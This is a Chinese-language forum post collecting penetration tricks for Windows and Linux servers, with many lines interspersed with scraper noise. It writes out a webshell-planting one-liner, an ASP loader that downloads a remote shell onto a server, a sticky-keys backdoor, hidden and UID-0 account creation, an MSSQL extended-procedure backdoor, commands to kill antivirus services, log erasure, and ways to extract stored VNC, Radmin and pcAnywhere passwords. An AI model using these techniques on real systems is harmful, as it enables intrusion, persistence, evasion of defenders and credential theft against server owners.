渗透技巧总结

admin

旁站路径问题
- W9 R. k' r$ X* q1、读网站配置。
1 E: a$ e9 \& u( ?) r* t' P+ x0 W2、用以下VBS
On Error Resume Next
If (LCase(Right(WScript.Fullname,11))="wscript.exe") Then
        
7 |/ z& y9 w- Q0 s3 b+ S/ c
Msgbox Space(12) & "IIS Virtual Web Viewer" & Space(12) & Chr(13) & Space(9) & "
3 x6 R8 d) g+ @7 S
Usage:Cscript vWeb.vbs",4096,"Lilo"
        WScript.Quit
End If
Set ObjService=GetObject
8 c3 q0 M( h6 O! J9 v
("IIS://LocalHost/W3SVC")
- X' h  [" M/ P" M0 DFor Each obj3w In objservice
        If IsNumeric(obj3w.Name)

Then
                Set OService=GetObject("IIS://LocalHost/W3SVC/" & obj3w.Name)
4 T) E4 D/ Y, n+ t6 S         

" q( a; m* s" E& D       Set VDirObj = OService.GetObject("IIsWebVirtualDir", "ROOT")
4 w5 {( f0 ~, g+ P                If Err
* t$ `4 j& w6 a; b8 v
<> 0 Then WScript.Quit (1)
                WScript.Echo Chr(10) & "[" &

! V% F9 r1 }1 E9 I2 D6 SOService.ServerComment & "]"
                For Each Binds In OService.ServerBindings
     
* [/ V1 Q8 w* `& }& C! d
                   Web = "{ " & Replace(Binds,":"," } { ") & " }"
; O* J$ s9 V5 S: W! G: O" O% `                        

WScript.Echo Replace(Split(Replace(Web," ",""),"}{")(2),"}","")
                Next
      

, k0 S0 I; {- X         WScript.Echo "ath            : " & VDirObj.Path
        End If
" L3 C) h3 B# s8 D  \Next
复制代码
1 i1 K5 h; l' Q) f/ y3、iis_spy列举（注：需要支持ASPX，反IISSPY的方法：将activeds.dll，activeds.tlb降权）
  O9 \1 d' |  \% [4、得到目标站目录，不能直接跨的。通过echo  ^<%execute(request("cmd"))%^> >>X:\目标目录\X.asp 或者copy 脚本文件 X:\目标目录\X.asp  像目标目录写入webshell。或者还可以试试type命令.
—————————————————————
WordPress的平台，爆绝对路径的方法是：
url/wp-content/plugins/akismet/akismet.php
url/wp-content/plugins/akismet/hello.php
7 |) ]; M! J$ B! O——————————————————————
8 \! I' _' o  N: h# b7 PphpMyAdmin暴路径办法:
$ t+ B) `6 z  z1 n( CphpMyAdmin/libraries/select_lang.lib.php
6 O6 T$ t( y; U$ {7 }6 YphpMyAdmin/darkblue_orange/layout.inc.php
phpMyAdmin/index.php?lang[]=1
phpmyadmin/themes/darkblue_orange/layout.inc.php
  G, g/ b  A# O" ~! Q————————————————————
网站可能目录(注：一般是虚拟主机类）
data/htdocs.网站/网站/
————————————————————
CMD下操作VPN相关
# \7 y0 |1 V7 j8 r8 [netsh ras set user administrator permit #允许administrator拨入该VPN
netsh ras set user administrator deny #禁止administrator拨入该VPN
netsh ras show user #查看哪些用户可以拨入VPN
netsh ras ip show config #查看VPN分配IP的方式
; ?% K1 Y( L$ n9 N9 L1 L* Qnetsh ras ip set addrassign method = pool #使用地址池的方式分配IP
netsh ras ip add range from = 192.168.3.1 to = 192.168.3.254 #地址池的范围是从192.168.3.1到192.168.3.254
————————————————————
4 g, d! g  ^1 p8 E  L6 l$ V命令行下添加SQL用户的方法
, w6 s  ?. C$ i% I* l需要有管理员权限,在命令下先建立一个c:\test.qry文件,内容如下:
- A' }% i/ w4 Xexec master.dbo.sp_addlogin test,123
3 j+ o+ l6 ?6 A7 A/ [EXEC sp_addsrvrolemember 'test, 'sysadmin'
然后在DOS下执行:cmd.exe /c isql -E /U alma /P /i c:\test.qry

另类的加用户方法
- X6 f- N: N, @在删掉了net.exe和不用adsi之外，新的加用户的方法。代码如下：
( G- c( k  U9 Q: \. wjs:
var o=new ActiveXObject( "Shell.Users" );
% K& J5 S$ x5 uz=o.create("test") ;
z.changePassword("123456","")
+ j. t7 Y' q& j( X5 ]z.setting("AccountType")=3;

2 i4 S, T. a% L# X2 Uvbs:
Set   o=CreateObject( "Shell.Users" )
" l! I3 _& L' q; i8 P  T0 h3 ZSet z=o.create("test")
z.changePassword "123456",""
z.setting("AccountType")=3
8 b0 E, x$ q3 t9 A8 \; X——————————————————
+ H( [/ N7 C) G+ O& _$ ^6 \6 hcmd访问控制权限控制（注：反everyone不可读，工具-文件夹选项-使用简单的共享去掉即可）

( ]8 n. S6 ]; _6 i2 q6 E' [1 a命令如下
: n$ V2 n9 U6 Q' dcacls c: /e /t /g everyone:F           #c盘everyone权限
cacls "目录" /d everyone               #everyone不可读，包括admin
# _  a  M9 k) B4 z  g0 @————————以下配合PR更好————
, y8 g$ O: V5 c+ A2 G& u3389相关
0 O0 p# l: }0 i5 Fa、防火墙TCP/IP筛选.（关闭net stop policyagent & net stop sharedaccess）
b、内网环境（LCX）
; |' `) _7 r9 p7 v0 Fc、终端服务器超出了最大允许连接
XP 运行mstsc /admin
2 k* N- H2 A' g2003 运行mstsc /console   
7 D; I6 j3 k3 t) F
( C) _7 T; f- i杀软关闭（把杀软所在的文件的所有权限去掉）
处理变态诺顿企业版：
net stop "Symantec AntiVirus" /y
net stop "Symantec AntiVirus Definition Watcher" /y
* g' `8 P% _6 v" m$ Jnet stop "Symantec Event Manager" /y
2 Q  _6 I" [4 \0 k. E& Znet stop "System Event Notification" /y
net stop "Symantec Settings Manager" /y

卖咖啡：net stop "McAfee McShield"
————————————————————
, S# j, E: ^5 ~+ j$ X. I  Z( ^# S
5次SHIFT：
* h: M: k+ |+ C7 A% X& x1 Pcopy %systemroot%\system32\sethc.exe %systemroot%\system32\dllcache\sethc1.exe
% |0 [/ M0 N3 X* f; l! o: H. }" rcopy %systemroot%\system32\cmd.exe %systemroot%\system32\dllcache\sethc.exe /y
copy %systemroot%\system32\cmd.exe %systemroot%\system32\sethc.exe /y
' T1 T; O7 U2 f; a7 |7 j- h——————————————————————
  r4 T8 E& D: s. `3 Z- ?* X隐藏账号添加：
1、net user admin$ 123456 /add&net localgroup administrators admin$ /add
% z* `4 m/ G9 N2、导出注册表SAM下用户的两个键值
: l: j, [; F" Q2 r0 C% ^3、在用户管理界面里的admin$删除，然后把备份的注册表导回去。
# @! \* e6 ]0 G% g' W( J; y. Q$ ^3 T4、利用Hacker Defender把相关用户注册表隐藏
# V$ w' f2 N& e2 B& z——————————————————————
MSSQL扩展后门：
USE master;
% I6 n3 k  v) B$ x5 T$ a( H2 W( BEXEC sp_addextendedproc 'xp_helpsystem', 'xp_helpsystem.dll';
GRANT exec On xp_helpsystem TO public;
( s( `; F: b; y! n+ S———————————————————————
5 \1 L4 ?3 s( K( }: m6 h7 f5 A日志处理
8 i% c4 c+ H0 U- o' V+ AC:\WINNT\system32\LogFiles\MSFTPSVC1>下有
0 q8 B$ Q; `$ L9 @$ nex011120.log / ex011121.log / ex011124.log三个文件，
直接删除 ex0111124.log
4 Z9 A; h7 F/ S9 c# q; b不成功，“原文件...正在使用”
当然可以直接删除ex011120.log / ex011121.log
用记事本打开ex0111124.log，删除里面的一些内容后，保存，覆盖退出，成功。
当停止msftpsvc服务后可直接删除ex011124.log

. S+ `- e) G! Y/ ~* I" ~8 sMSSQL查询分析器连接记录清除：
MSSQL 2000位于注册表如下：
2 }4 X; e" u! r: Z  _8 h3 VHKEY_CURRENT_USER\Software\Microsoft\Microsoft SQL Server\80\Tools\Client\PrefServers
$ M& s5 T; u+ f) N2 }找到接接过的信息删除。
* a/ i# N5 z1 m$ P: L% W& b+ zMSSQL 2005是在C:\Documents and Settings\<user>\Application Data\Microsoft\Microsoft SQL

  i. P2 z! O7 f5 V8 L' UServer\90\Tools\Shell\mru.dat
' Z+ F. \% b0 G% T) \6 t—————————————————————————
防BT系统拦截可使用远程下载shell，也达到了隐藏自身的效果，也可以做为超隐蔽的后门，神马的免杀webshell，用服务器安全工具一扫通通挂掉了）
  V& n( F, _; H2 J
<%
; ?- C) n! D$ z) ?) _Sub eWebEditor_SaveRemoteFile(s_LocalFileName,s_RemoteFileUrl)
Dim Ads, Retrieval, GetRemoteData
9 R- z; X+ T% ~1 F9 x8 BOn Error Resume Next
Set Retrieval = Server.CreateObject("Microsoft.XMLHTTP")
With Retrieval
7 |  ~3 i0 v2 U.Open "Get", s_RemoteFileUrl, False, "", ""
5 X) z- W, }% R( ]' h.Send
( p3 K' ^0 R9 B% g8 A, i3 V8 k$ ZGetRemoteData = .ResponseBody
End With
  s/ n% [' K2 R1 W9 `Set Retrieval = Nothing
1 Y2 [. M& E, q) Y/ NSet Ads = Server.CreateObject("Adodb.Stream")
With Ads
  s& M  ~& ^& V- q# \.Type = 1
. e: \1 k& K& y" J2 b.Open
.Write GetRemoteData
& k6 [! p. j' K0 f1 P.SaveToFile Server.MapPath(s_LocalFileName), 2
.Cancel()
.Close()
& b8 k4 w1 k% wEnd With
4 r  Y$ \  w% k% wSet Ads=nothing
End Sub

eWebEditor_SaveRemoteFile"your shell's name","your shell'urL"
5 h( A1 x( J& E4 n%>
( D# k4 @! p3 J
6 X9 e! r. h% M5 ?, Z; xVNC提权方法:
利用shell读取vnc保存在注册表中的密文，使用工具VNC4X破解
注册表位置：HKEY_LOCAL_MACHINE\SOFTWARE\RealVNC\WinVNC4\password
regedit -e c:\reg.dll "HKEY_LOCAL_MACHINE\SOFTWARE\ORL"
regedit -e c:\reg.dll "HKEY_LOCAL_MACHINE\Software\RealVNC\WinVNC4"
1 U1 V2 \1 U" Y* i  A) K+ ~, cRadmin 默认端口是4899，
7 V# U" T' u/ I* b6 qHKEY_LOCAL_MACHINE\SYSTEM\RAdmin\v2.0\Server\Parameters\Parameter//默认密码注册表位置
1 Z$ O" N" b5 mHKEY_LOCAL_MACHINE\SYSTEM\RAdmin\v2.0\Server\Parameters\Port //默认端口注册表位置
然后用HASH版连接。
, f3 v. u: k7 D6 H* z如果我们拿到一台主机的WEBSEHLL。通过查找发现其上安装有PCANYWHERE 同时保存密码文件的目录是允许我们的IUSER权限访问，我们可以下载这个CIF文件到本地破解，再通过PCANYWHERE从本机登陆服务器。
保存密码的CIF文件,不是位于PCANYWHERE的安装目录,而且位于安装PCANYWHERE所安装盘的\Documents and Settings\All Users\Application Data\Symantec\pcAnywhere\ 如果PCANYWHERE安装在D:\program\文件下下，那么PCANYWHERE的密码文件就保存在D:\Documents and Settings\All
/ }1 C1 ~) S6 ?8 l% s+ T' |Users\Application Data\Symantec\pcAnywhere\文件夹下。
* W2 a9 H, C; o/ z) |——————————————————————
搜狗输入法的PinyinUp.exe是可读可写的直接替换即可
1 s8 M4 R, n' X* J4 ^: @& A* ~——————————————————----------
WinWebMail目录下的web必须设置everyone权限可读可写，在开始程序里，找到WinWebMail快捷方式下下
来，看路径，访问 路径\web传shell，访问shell后，权限是system，放远控进启动项，等待下次重启。
0 g) y; Y5 C& ?* A% c: i9 }没有删cmd组建的直接加用户。
7i24的web目录也是可写，权限为administrator。
' y4 V$ C1 f" G) g' I1 F) @
1433 SA点构建注入点。
; B6 n$ H$ A4 T7 U$ J& {" V1 k<%
strSQLServerName = "服务器ip"
( Z3 R, x9 \/ i: O9 O4 w8 KstrSQLDBUserName = "数据库帐号"
  r) d( [: C7 A% F4 P8 i  fstrSQLDBPassword = "数据库密码"
strSQLDBName = "数据库名称"
- H) ^% O9 p( X" t5 iSet conn = Server.createObject("ADODB.Connection")
1 Z) i) h. x5 Z: _strCon = "rovider=SQLOLEDB.1ersist Security Info=False;Server=" & strSQLServerName &

7 \# W5 l5 _3 U9 o( b" K2 Q";User ID=" & strSQLDBUserName & "assword=" & strSQLDBPassword & ";Database=" &
. \1 R) J* h8 L$ @% M
+ o9 U- M7 u6 Y- F- q. Y4 FstrSQLDBName & ";"
0 s" l5 z( ~4 r2 w' s9 |$ hconn.open strCon
- S/ {8 c( ~& R0 f- z: ldim rs,strSQL,id
' v- l+ G( G/ Lset rs=server.createobject("ADODB.recordset")
id = request("id")
" d/ }5 J% V3 p4 O$ ^6 S- YstrSQL = "select * from ACTLIST where worldid=" & idrs.open strSQL,conn,1,3
2 q( P% h- h+ y' r6 i! srs.close
%>
) f! U8 x6 w5 p8 M) @复制代码
******liunx 相关******
一.ldap渗透技巧
2 ]" F3 F: X" a2 I1.cat /etc/nsswitch
看看密码登录策略我们可以看到使用了file ldap模式
% J- A9 I% Z$ a) [' o( u
2.less /etc/ldap.conf
" Z  r- D- q7 @6 I6 D/ Abase ou=People,dc=unix-center,dc=net
5 a3 F9 p0 V9 t* W找到ou,dc,dc设置
+ d8 F! k+ ~# E5 ]* |, L) Q
# E, V4 T. ?  H/ X! w4 p3.查找管理员信息
6 W5 D# w0 S7 ]" a+ G匿名方式
ldapsearch -x -D "cn=administrator,cn=People,dc=unix-center,dc=net" -b

"cn=administrator,cn=People,dc=unix-center,dc=net" -h 192.168.2.2
$ y3 ]' c9 k6 h& L6 {1 i有密码形式
3 _: X# ~* e* k- ^; Dldapsearch -x -W -D "cn=administrator,cn=People,dc=unix-center,dc=net" -b

& k3 C8 h2 f0 E- X- o/ x"cn=administrator,cn=People,dc=unix-center,dc=net" -h 192.168.2.2


+ u/ J0 R) r; m( f, ^4.查找10条用户记录
8 V' j% n8 m& N* Fldapsearch -h 192.168.2.2 -x -z 10 -p 指定端口
& q9 z' A. M! {3 O, q' ^# C
实战:
1.cat /etc/nsswitch
看看密码登录策略我们可以看到使用了file ldap模式
2 [# ^- f. ~# R
, O* l: u; Y6 {7 a- o; S8 N; T3 ]; J2.less /etc/ldap.conf
base ou=People,dc=unix-center,dc=net
1 q0 T; \: y8 V- l找到ou,dc,dc设置

3.查找管理员信息
匿名方式
5 @2 x/ }0 ]! E4 @3 @# kldapsearch -x -D "cn=administrator,cn=People,dc=unix-center,dc=net" -b
0 U7 M$ G  F2 V; Y1 G
"cn=administrator,cn=People,dc=unix-center,dc=net" -h 192.168.2.2
有密码形式
6 o, c& M8 Z) L9 W+ sldapsearch -x -W -D "cn=administrator,cn=People,dc=unix-center,dc=net" -b
* ~" m. p6 }# i4 X" g9 ^
"cn=administrator,cn=People,dc=unix-center,dc=net" -h 192.168.2.2


% \, o2 S' Z3 U! B5 E- ~5 Y3 x: H3 C4.查找10条用户记录
ldapsearch -h 192.168.2.2 -x -z 10 -p 指定端口

- A2 D6 n7 J5 N2 }2 ~! N% d" }渗透实战:
1.返回所有的属性
4 L# j1 T* U* }* |ldapsearch -h 192.168.7.33 -b "dc=ruc,dc=edu,dc=cn" -s sub "objectclass=*"
version: 1
dn: dc=ruc,dc=edu,dc=cn
8 p+ g7 g$ w% Y" p. d) Vdc: ruc
objectClass: domain
, E% ^8 Y$ J% F# L# b4 M% h, p
dn: uid=manager,dc=ruc,dc=edu,dc=cn
uid: manager
3 m2 F) I. B+ j. I' CobjectClass: inetOrgPerson
objectClass: organizationalPerson
objectClass: person
objectClass: top
sn: manager
6 F; V; r& c, M& Bcn: manager

& i" g, Z+ d& Z0 W4 i' i/ t4 \dn: uid=superadmin,dc=ruc,dc=edu,dc=cn
uid: superadmin
objectClass: inetOrgPerson
objectClass: organizationalPerson
  p. A6 L8 |: Q; _8 o3 _objectClass: person
# n1 j/ ^# w# X! KobjectClass: top
sn: superadmin
cn: superadmin

6 ?/ n4 G7 z: wdn: uid=admin,dc=ruc,dc=edu,dc=cn
  L# |4 Y  w* r$ @& E9 b  uuid: admin
1 k' H$ J7 j9 R& r( q0 {& u' J+ F& RobjectClass: inetOrgPerson
objectClass: organizationalPerson
8 o3 l1 J. Y! j& A( J( ?$ n* L# LobjectClass: person
9 ^5 ], k. `+ V" VobjectClass: top
sn: admin
/ g: M7 O0 Z6 e% r$ X8 Z9 [cn: admin
& b2 k! Y( ~5 m# x
dn: uid=dcp_anonymous,dc=ruc,dc=edu,dc=cn
' {! x* @: e$ `; j" K  n3 F. M4 {uid: dcp_anonymous
objectClass: top
objectClass: person
3 S1 R6 ~+ v4 s- Q' zobjectClass: organizationalPerson
) E0 K- g1 W9 HobjectClass: inetOrgPerson
sn: dcp_anonymous
/ W& _) U" b+ P- y; S1 ^1 Ocn: dcp_anonymous

2.查看基类
( G4 H3 G0 ~5 f* a. z0 zbash-3.00# ldapsearch -h 192.168.7.33 -b "dc=ruc,dc=edu,dc=cn" -s base "objectclass=*" |

9 C. x- f' M% k7 H: c7 hmore
/ U* Z0 y! F( I- R0 z2 fversion: 1
$ x) `2 K: G% b- j) L& R1 {: v/ |  \dn: dc=ruc,dc=edu,dc=cn
7 n% M3 S% I4 H" \4 ~4 ^0 Odc: ruc
- f0 A6 w6 W; q0 N/ e1 pobjectClass: domain

3.查找
0 J! q" E0 v$ Xbash-3.00# ldapsearch -h 192.168.7.33 -b "" -s base "objectclass=*"
version: 1
dn:
8 T6 e2 c" k$ C6 X( r" N) ~objectClass: top
namingContexts: dc=ruc,dc=edu,dc=cn
supportedExtension: 2.16.840.1.113730.3.5.7
supportedExtension: 2.16.840.1.113730.3.5.8
1 {) ^+ H8 T4 Q) o# p. E5 u1 isupportedExtension: 1.3.6.1.4.1.4203.1.11.1
5 H/ U3 l6 Z8 E8 k9 \supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.25
supportedExtension: 2.16.840.1.113730.3.5.3
supportedExtension: 2.16.840.1.113730.3.5.5
* H8 `9 `$ J0 \8 ^* Q- IsupportedExtension: 2.16.840.1.113730.3.5.6
* a$ ]$ U9 R2 Y4 D: E/ \3 M% D( fsupportedExtension: 2.16.840.1.113730.3.5.4
: d' V5 G) T* S. c5 M' KsupportedExtension: 1.3.6.1.4.1.42.2.27.9.6.1
: [/ _: g3 s' |supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.2
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.3
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.4
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.5
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.6
' a+ y! F1 M3 s4 a" q7 O. ksupportedExtension: 1.3.6.1.4.1.42.2.27.9.6.7
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.8
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.9
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.23
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.11
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.12
' a; L+ }* d6 WsupportedExtension: 1.3.6.1.4.1.42.2.27.9.6.13
! ?3 n  H: q! K' ], MsupportedExtension: 1.3.6.1.4.1.42.2.27.9.6.14
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.15
; D" [( |, j. h" o* W, C5 w$ YsupportedExtension: 1.3.6.1.4.1.42.2.27.9.6.16
  a2 I$ I" r# o1 [8 U5 p7 |supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.17
, a9 o% I/ _2 {' H; C5 z5 OsupportedExtension: 1.3.6.1.4.1.42.2.27.9.6.18
* L! {2 {; R$ g7 W" ZsupportedExtension: 1.3.6.1.4.1.42.2.27.9.6.19
4 J) y& G" f" B4 _/ d" zsupportedExtension: 1.3.6.1.4.1.42.2.27.9.6.21
: Z/ R8 k' V* {7 b3 }' hsupportedExtension: 1.3.6.1.4.1.42.2.27.9.6.22
3 z- L: c0 W) y& csupportedExtension: 1.3.6.1.4.1.42.2.27.9.6.24
supportedExtension: 1.3.6.1.4.1.1466.20037
4 K' t8 N  ~$ ]supportedExtension: 1.3.6.1.4.1.4203.1.11.3
supportedControl: 2.16.840.1.113730.3.4.2
supportedControl: 2.16.840.1.113730.3.4.3
1 v, n, s: y( }6 j% ssupportedControl: 2.16.840.1.113730.3.4.4
% c0 k  r5 Y' X# p5 vsupportedControl: 2.16.840.1.113730.3.4.5
supportedControl: 1.2.840.113556.1.4.473
supportedControl: 2.16.840.1.113730.3.4.9
% X' {# M4 H8 i1 C$ H9 jsupportedControl: 2.16.840.1.113730.3.4.16
3 M" @" d. B' k9 @) asupportedControl: 2.16.840.1.113730.3.4.15
6 M& g! s0 l" E+ tsupportedControl: 2.16.840.1.113730.3.4.17
supportedControl: 2.16.840.1.113730.3.4.19
supportedControl: 1.3.6.1.4.1.42.2.27.9.5.2
supportedControl: 1.3.6.1.4.1.42.2.27.9.5.6
/ ^4 m4 s4 f: c3 \' `# d( C) WsupportedControl: 1.3.6.1.4.1.42.2.27.9.5.8
supportedControl: 1.3.6.1.4.1.42.2.27.8.5.1
supportedControl: 1.3.6.1.4.1.42.2.27.8.5.1
# n2 o+ G& G  F, }$ i& F! t0 HsupportedControl: 2.16.840.1.113730.3.4.14
( K7 J- K% @: `% ]( qsupportedControl: 1.3.6.1.4.1.1466.29539.12
! i2 l- ?* V2 @, D6 Z6 ~9 y) YsupportedControl: 2.16.840.1.113730.3.4.12
# Z) i4 i6 {) a  j* l" p; f. l  \supportedControl: 2.16.840.1.113730.3.4.18
3 N7 g# `0 X" PsupportedControl: 2.16.840.1.113730.3.4.13
8 I+ r) n+ b% E3 q5 c, v; OsupportedSASLMechanisms: EXTERNAL
supportedSASLMechanisms: DIGEST-MD5
& H1 v& b7 p& B: x& _supportedLDAPVersion: 2
supportedLDAPVersion: 3
3 R& b9 s+ @2 x' [3 wvendorName: Sun Microsystems, Inc.
vendorVersion: Sun-Java(tm)-System-Directory/6.2
dataversion: 020090516011411
netscapemdsuffix: cn=ldap://dc=webA:389
* d: Y6 H, A* c5 q+ c4 V- i# [) L5 qsupportedSSLCiphers: TLS_ECDHE_ECDSA_WITH_AES_256_CBC_SHA
9 n" C" l2 F* ?/ asupportedSSLCiphers: TLS_ECDHE_RSA_WITH_AES_256_CBC_SHA
+ ]: Q, w3 Y8 V3 F3 R% ]+ JsupportedSSLCiphers: TLS_DHE_RSA_WITH_AES_256_CBC_SHA
( H. B/ a( B. M2 a0 h" F2 k& TsupportedSSLCiphers: TLS_DHE_DSS_WITH_AES_256_CBC_SHA
supportedSSLCiphers: TLS_ECDH_RSA_WITH_AES_256_CBC_SHA
. M2 f9 b0 I, v/ t* O! |supportedSSLCiphers: TLS_ECDH_ECDSA_WITH_AES_256_CBC_SHA
supportedSSLCiphers: TLS_RSA_WITH_AES_256_CBC_SHA
supportedSSLCiphers: TLS_ECDHE_ECDSA_WITH_RC4_128_SHA
' [6 }; _7 X% v  u' M$ D* [1 DsupportedSSLCiphers: TLS_ECDHE_ECDSA_WITH_AES_128_CBC_SHA
0 s9 S# ]( C" usupportedSSLCiphers: TLS_ECDHE_RSA_WITH_RC4_128_SHA
# y& P' @7 @( x0 f9 UsupportedSSLCiphers: TLS_ECDHE_RSA_WITH_AES_128_CBC_SHA
supportedSSLCiphers: TLS_DHE_DSS_WITH_RC4_128_SHA
supportedSSLCiphers: TLS_DHE_RSA_WITH_AES_128_CBC_SHA
  h& p4 ?, H5 U* d: d- qsupportedSSLCiphers: TLS_DHE_DSS_WITH_AES_128_CBC_SHA
7 y, l& {  f* ysupportedSSLCiphers: TLS_ECDH_RSA_WITH_RC4_128_SHA
4 c; |3 H4 j) f) n2 msupportedSSLCiphers: TLS_ECDH_RSA_WITH_AES_128_CBC_SHA
' U. Y* z$ K. A6 k' m& j# Q9 tsupportedSSLCiphers: TLS_ECDH_ECDSA_WITH_RC4_128_SHA
supportedSSLCiphers: TLS_ECDH_ECDSA_WITH_AES_128_CBC_SHA
supportedSSLCiphers: SSL_RSA_WITH_RC4_128_MD5
- b( G) y) C& OsupportedSSLCiphers: SSL_RSA_WITH_RC4_128_SHA
supportedSSLCiphers: TLS_RSA_WITH_AES_128_CBC_SHA
supportedSSLCiphers: TLS_ECDHE_ECDSA_WITH_3DES_EDE_CBC_SHA
supportedSSLCiphers: TLS_ECDHE_RSA_WITH_3DES_EDE_CBC_SHA
supportedSSLCiphers: SSL_DHE_RSA_WITH_3DES_EDE_CBC_SHA
' x" ~0 K! V4 n- IsupportedSSLCiphers: SSL_DHE_DSS_WITH_3DES_EDE_CBC_SHA
5 S# D# f4 d; K* W4 esupportedSSLCiphers: TLS_ECDH_RSA_WITH_3DES_EDE_CBC_SHA
& t3 f$ C* n  O9 d& s/ ]supportedSSLCiphers: TLS_ECDH_ECDSA_WITH_3DES_EDE_CBC_SHA
supportedSSLCiphers: SSL_RSA_FIPS_WITH_3DES_EDE_CBC_SHA
' [; }$ C" I0 S% U1 `6 F4 ]' ?supportedSSLCiphers: SSL_RSA_WITH_3DES_EDE_CBC_SHA
supportedSSLCiphers: SSL_DHE_RSA_WITH_DES_CBC_SHA
) H) B" g+ D# L% w+ W! nsupportedSSLCiphers: SSL_DHE_DSS_WITH_DES_CBC_SHA
supportedSSLCiphers: SSL_RSA_FIPS_WITH_DES_CBC_SHA
4 A$ G/ f  R3 XsupportedSSLCiphers: SSL_RSA_WITH_DES_CBC_SHA
6 [7 Z- u  Z- g; x* W0 X7 Y" QsupportedSSLCiphers: TLS_RSA_EXPORT1024_WITH_RC4_56_SHA
% O  d3 {. e0 t* n  osupportedSSLCiphers: TLS_RSA_EXPORT1024_WITH_DES_CBC_SHA
supportedSSLCiphers: SSL_RSA_EXPORT_WITH_RC4_40_MD5
supportedSSLCiphers: SSL_RSA_EXPORT_WITH_RC2_CBC_40_MD5
supportedSSLCiphers: TLS_ECDHE_ECDSA_WITH_NULL_SHA
supportedSSLCiphers: TLS_ECDHE_RSA_WITH_NULL_SHA
supportedSSLCiphers: TLS_ECDH_RSA_WITH_NULL_SHA
supportedSSLCiphers: TLS_ECDH_ECDSA_WITH_NULL_SHA
supportedSSLCiphers: SSL_RSA_WITH_NULL_SHA
supportedSSLCiphers: SSL_RSA_WITH_NULL_MD5
supportedSSLCiphers: SSL_CK_RC4_128_WITH_MD5
% ?1 z1 E! G5 w8 LsupportedSSLCiphers: SSL_CK_RC2_128_CBC_WITH_MD5
supportedSSLCiphers: SSL_CK_DES_192_EDE3_CBC_WITH_MD5
supportedSSLCiphers: SSL_CK_DES_64_CBC_WITH_MD5
. K1 L* H7 D  ksupportedSSLCiphers: SSL_CK_RC4_128_EXPORT40_WITH_MD5
supportedSSLCiphers: SSL_CK_RC2_128_CBC_EXPORT40_WITH_MD5
; O4 k4 K! w5 s7 Q- a, \0 \————————————
3 H- }1 X& }. x# N" a, z2. NFS渗透技巧
+ \) h2 O+ b% l3 _9 S; A+ L7 Ishowmount -e ip
列举IP
& y0 g, u, w: K9 p——————
4 n& O, x1 M* D7 v6 v6 n3.rsync渗透技巧
5 h9 ?8 Q0 ]( {1.查看rsync服务器上的列表
rsync 210.51.X.X::
finance
  C5 V' E! E; D: Timg_finance
auto
img_auto
html_cms
img_cms
ent_cms
ent_img
ceshi
# s; a( v; ~) U# j$ z1 Mres_img
res_img_c2
" z9 _3 r% C# z5 i+ zchip
chip_c2
ent_icms
games
+ ]7 E- A7 h5 v9 fgamesimg
media
/ d9 w) I) a5 u. q. A& Z- b1 Tmediaimg
fashion
0 t' z  w; ]/ k% I/ q, z9 @res-fashion
% v* ^1 d) B" J2 z- H/ z$ d9 Sres-fo
taobao-home
7 ?4 _: U8 L9 G8 qres-taobao-home
* l0 H3 d6 }' d  g+ j  q3 b$ thouse
res-house
res-home
% _* i) y& F" Q9 L) Bres-edu
  c7 _  |( }( nres-ent
. s- h8 `# s* p' A& jres-labs
res-news
res-phtv
7 L6 [* |1 R, ^; O) c; Y, q2 jres-media
home
edu
news
$ y2 p$ F& N+ o' \  v( ]3 @! G  Gres-book
- z, T. u; u8 e$ d) r; P
: Y4 |9 i8 c2 H& U& o看相应的下级目录(注意一定要在目录后面添加上/)

/ l$ e7 ?8 R( @7 o
. W. ^6 _/ z% c' x, {rsync 210.51.X.X::htdocs_app/
rsync 210.51.X.X::auto/
/ z$ ~( F* \- z" T, Irsync 210.51.X.X::edu/

, l# N& {' [4 ~2.下载rsync服务器上的配置文件
rsync -avz 210.51.X.X::htdocs_app/ /tmp/app/
" h7 E1 L$ X" {: r- z0 p8 K2 Q
3.向上更新rsync文件(成功上传,不会覆盖)
( w+ K4 c5 P; ]# }: zrsync -avz nothack.php 210.51.X.X::htdocs_app/warn/
( A: h! N# h& whttp://app.finance.xxx.com/warn/nothack.txt
" K! V. B0 K8 C3 L7 i
四.squid渗透技巧
( F/ @/ {7 ]( `$ jnc -vv baidu.com 80
GET HTTP://www.sina.com / HTTP/1.0
GET HTTP://WWW.sina.com:22 / HTTP/1.0
9 e- o$ n2 {5 |五.SSH端口转发
9 P" `5 z' J( e" H2 Yssh -C -f -N -g -R 44:127.0.0.1:22 cnbird@ip
3 Z* E# e  G* g) _& }' l' n
4 x2 n) c3 V( e; u2 F/ E六.joomla渗透小技巧
确定版本
index.php?option=com_content&view=article&id=30:what-languages-are-supported-by-joomla-

- {3 q9 N; X5 @" j3 {1 V, z' x15&catid=32:languages&Itemid=47

/ e' `! W/ Z9 \) l; b8 S# c; t重新设置密码
index.php?option=com_user&view=reset&layout=confirm
) E& {0 x+ U% l8 ~& l
: v& R0 L) R! I( x9 Y) ~# c! P七: Linux添加UID为0的root用户
useradd -o -u 0 nothack

八.freebsd本地提权
+ g5 T8 q1 v2 y  c[argp@julius ~]$ uname -rsi
8 \2 x  H4 e* N( E* freebsd 7.3-RELEASE GENERIC
6 p5 ~8 y2 A5 w( ^( w; z% q; j* [argp@julius ~]$ sysctl vfs.usermount
; g+ F/ v: l) C. v7 Z* vfs.usermount: 1
' j6 N& N- Q5 h  j, O! s* [argp@julius ~]$ id
% T2 G; E! U$ s2 y% k: n3 @* uid=1001(argp) gid=1001(argp) groups=1001(argp)
* [argp@julius ~]$ gcc -Wall nfs_mount_ex.c -o nfs_mount_ex
+ V# ^& A: E4 W0 \$ O1 Q4 j- v* [argp@julius ~]$ ./nfs_mount_ex
/ \- C  K# P: u7 n- g# R*
calling nmount()

0 K( P/ D! L% `" _/ C$ d1 M（注：本文原件由0x童鞋收集整理，感谢0x童鞋，本人补充和优化了点，本文毫无逻辑可言，因为是想到什么就写了，大家见谅）
